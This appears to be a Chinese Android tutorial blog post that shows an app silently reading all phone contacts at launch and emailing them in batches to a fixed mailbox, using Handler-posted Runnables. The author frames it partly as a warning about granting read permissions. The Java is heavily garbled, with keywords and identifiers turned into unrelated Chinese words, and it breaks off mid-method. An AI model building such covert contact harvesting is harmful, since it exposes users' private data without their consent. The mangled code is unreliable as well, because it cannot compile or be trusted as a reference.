Android切近实战(十)

  

最近上半年绩效确认,又是C,我就不明白了,怎么才能得B,怎么才能得a。我去,不借的书,不参加培训,不加班就活该得C,那你招一群刚毕业的学生得了,刚毕业的学生干劲大,加班到半夜都没问题,唉,不说了,这年头不加班干完活都觉得不正常了。


大家还记得上篇文章么,看下图。

 Android切近实战(十)

今天的话我就是要在该应用程序启动的时候,将手机内存储的所有联系人通过邮件发送到指定的邮箱,怎么样,够狠吧。所以不是所有的应用我们都给他开读取手机信息的权限,否则就泄露个底朝天。我们先看一下发邮件,需要到网上下载这三个jar包,这三个jar包不好下,要么你去谷歌官网下,要么在csdn下,或者干脆在本篇文章下,给大家点福利。


 Android切近实战(十)

说到这个发邮件,类是别人写的,我拿来以为能用,结果他妈的很多问题,压根就发不了邮件。改了很多问题,查了一些资料,尼玛才搞的定。说到这里,我就想说那些写博客的或者是抄博客的或者是转载博客的,咋们做技术的要凭良心写博客。不能不管三七二十一,就抄过来。这样不但让看你博客的人觉得你不专业,而且还浪费每个看你博客的人的时间。你写个博客,你文采不行,但是你把代码最起码写的能正常运行,能达到该代码能实现的功能吧。

好了,不说了。我们看一下代码,我的设计是将联系人信息全部读取出来,然后通过多线程分批发送到指定邮箱。要说到多线程,大家肯定会想到处理器,处理器会分发runable对象到主线程消息队列中。当我们实例化一个处理程序对象的时候,就默认与对它初始化的进程的消息队列绑定。那么当线程有更新UI的操作话,我们就需要把数据消息作为一个消息对象发送到消息队列中,然后,用处理程序中的handlerMessge方法处理传过来的数据信息,并操作UI。那么刚才说到分发runable对象到主线程队列中,我们看一下处理程序有哪些方法可以实现分发runable对象(查API)。

 Android切近实战(十)”> </p> <p> <img src=


我们今天使用的其实就是发布方法,分发多个runable对象到消息队列并执行。说了这么多不如直接看代码来得实在。

private  void  SyncContactUserInfo (), {   CustomRunable  customeRunable;   List祝辞,tempPagedDataList =, this.GetContactUserList ();   List祝辞,dataList =, this.GetContactUserList ();   int  totalSize =, dataList.size ();   if  (totalSize ==, 0)   返回;      int  threadCount =, totalSize  %, PageSize ==, 0, ?, totalSize /页大?:totalSize  PageSize  +, 1;      for  (int 小姐:=,1;,小姐:& lt;=, threadCount;,我+ +),{   if (小姐:==,threadCount), {   时间=tempPagedDataList  dataList.subList((小姐,安康;1),*,页大小,   (小姐,安康;1),*,PageSize  +, totalSize  %, PageSize  1);   },{else    时间=tempPagedDataList  dataList.subList((小姐,安康;1),*,页大小,   PageSize  *,小姐:今天早上,我);   }   时间=customeRunable  new  CustomRunable (tempPagedDataList,,我);   handler.post (customeRunable);   }   }

上节课我们已经写过如何读取手机联系人了,所以这里就不在赘述。这段代码其实就是把联系人信息读取出来,然后去分批发送。上面的代码相信做过分页的人都应该知道,需要注意的就是List的分表方法,传入开始指数和结束索引就可以了,这里有点类似客户端分页。

在上面的代码中我们看到了一个CustomRunable类,这个类是我自己定义的,如下

class  CustomRunable  implements  Runnable  {   StringBuilder  strBuilder =, new  StringBuilder ();   List祝辞,dataList;   int 指数;      public  CustomRunable (List祝辞,dataList,, int 指数),{   时间=this.dataList  dataList;   时间=this.index 指数;   }      public  void  run (), {   strBuilder.append (“& lt; html> & lt; body> & lt; table 风格=边界:1 px  solid 黑色的祝辞”);   strBuilder.append (“& lt; tr> & lt; th>姓名& lt;/th> & lt; th>手机号码& lt;/th> & lt;/tr>”);      if  (this.dataList  !=, null ,,, this.dataList.size(),祝辞,0),{   for  (Map

Android切近实战(十)